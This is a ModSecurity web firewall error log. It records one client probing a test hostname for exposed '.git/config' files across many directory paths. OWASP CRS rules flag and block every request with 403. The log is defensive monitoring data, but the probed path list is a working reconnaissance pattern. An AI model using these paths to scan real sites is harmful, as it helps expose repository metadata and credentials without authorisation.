[Thu Jan 16 14:20:45.331091 2025] [:error] [pid 507252] [client 45.135.232.70:49110] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v3/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsQAAAAc&quot;]
[Thu Jan 16 14:20:45.332737 2025] [:error] [pid 501744] [client 45.135.232.70:48904] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/email/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/email/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHgAAAAY&quot;]
[Thu Jan 16 14:20:45.332898 2025] [:error] [pid 510637] [client 45.135.232.70:48984] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdwAAAA8&quot;]
[Thu Jan 16 14:20:45.332977 2025] [:error] [pid 501744] [client 45.135.232.70:48904] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/email/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHgAAAAY&quot;]
[Thu Jan 16 14:20:45.333172 2025] [:error] [pid 501744] [client 45.135.232.70:48904] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/email/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHgAAAAY&quot;]
[Thu Jan 16 14:20:45.333199 2025] [:error] [pid 510637] [client 45.135.232.70:48984] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdwAAAA8&quot;]
[Thu Jan 16 14:20:45.333485 2025] [:error] [pid 510637] [client 45.135.232.70:48984] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v2/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdwAAAA8&quot;]
[Thu Jan 16 14:20:45.334372 2025] [:error] [pid 510629] [client 45.135.232.70:48906] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/integrations/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1gAAAAw&quot;]
[Thu Jan 16 14:20:45.334651 2025] [:error] [pid 510629] [client 45.135.232.70:48906] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/integrations/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1gAAAAw&quot;]
[Thu Jan 16 14:20:45.334957 2025] [:error] [pid 510616] [client 45.135.232.70:48996] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shared/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/mail/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OgAAAAo&quot;]
[Thu Jan 16 14:20:45.335190 2025] [:error] [pid 510616] [client 45.135.232.70:48996] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/mail/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OgAAAAo&quot;]
[Thu Jan 16 14:20:45.335386 2025] [:error] [pid 510616] [client 45.135.232.70:48996] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/mail/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OgAAAAo&quot;]
[Thu Jan 16 14:20:45.341556 2025] [:error] [pid 511460] [client 45.135.232.70:49172] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /internal/mail/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/mail/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60egAAAAA&quot;]
[Thu Jan 16 14:20:45.341741 2025] [:error] [pid 511460] [client 45.135.232.70:49172] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/mail/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60egAAAAA&quot;]
[Thu Jan 16 14:20:45.341884 2025] [:error] [pid 511460] [client 45.135.232.70:49172] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/internal/mail/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60egAAAAA&quot;]
[Thu Jan 16 14:20:45.373363 2025] [:error] [pid 510615] [client 45.135.232.70:49068] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /beta/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tgAAAAk&quot;]
[Thu Jan 16 14:20:45.373854 2025] [:error] [pid 510615] [client 45.135.232.70:49068] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tgAAAAk&quot;]
[Thu Jan 16 14:20:45.374224 2025] [:error] [pid 510615] [client 45.135.232.70:49068] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tgAAAAk&quot;]
[Thu Jan 16 14:20:45.448986 2025] [:error] [pid 500653] [client 45.135.232.70:49046] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/email/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/email/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDQAAAAE&quot;]
[Thu Jan 16 14:20:45.449847 2025] [:error] [pid 500653] [client 45.135.232.70:49046] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/email/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDQAAAAE&quot;]
[Thu Jan 16 14:20:45.450574 2025] [:error] [pid 500653] [client 45.135.232.70:49046] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/email/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDQAAAAE&quot;]
[Thu Jan 16 14:20:45.453029 2025] [:error] [pid 510617] [client 45.135.232.70:48920] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/services/notifications/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/notifications/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLQAAAAs&quot;]
[Thu Jan 16 14:20:45.453581 2025] [:error] [pid 510617] [client 45.135.232.70:48920] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/notifications/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLQAAAAs&quot;]
[Thu Jan 16 14:20:45.453706 2025] [:error] [pid 510631] [client 45.135.232.70:49194] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /assets/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXgAAAA4&quot;]
[Thu Jan 16 14:20:45.453999 2025] [:error] [pid 510617] [client 45.135.232.70:48920] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/services/notifications/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLQAAAAs&quot;]
[Thu Jan 16 14:20:45.454134 2025] [:error] [pid 510631] [client 45.135.232.70:49194] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXgAAAA4&quot;]
[Thu Jan 16 14:20:45.455128 2025] [:error] [pid 510631] [client 45.135.232.70:49194] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXgAAAA4&quot;]
[Thu Jan 16 14:20:45.456777 2025] [:error] [pid 511460] [client 45.135.232.70:49186] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60ewAAAAA&quot;]
[Thu Jan 16 14:20:45.457145 2025] [:error] [pid 511460] [client 45.135.232.70:49186] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60ewAAAAA&quot;]
[Thu Jan 16 14:20:45.457479 2025] [:error] [pid 511460] [client 45.135.232.70:49186] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60ewAAAAA&quot;]
[Thu Jan 16 14:20:45.467656 2025] [:error] [pid 507252] [client 45.135.232.70:49094] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsgAAAAc&quot;]
[Thu Jan 16 14:20:45.467892 2025] [:error] [pid 507252] [client 45.135.232.70:49094] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsgAAAAc&quot;]
[Thu Jan 16 14:20:45.468068 2025] [:error] [pid 507252] [client 45.135.232.70:49094] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsgAAAAc&quot;]
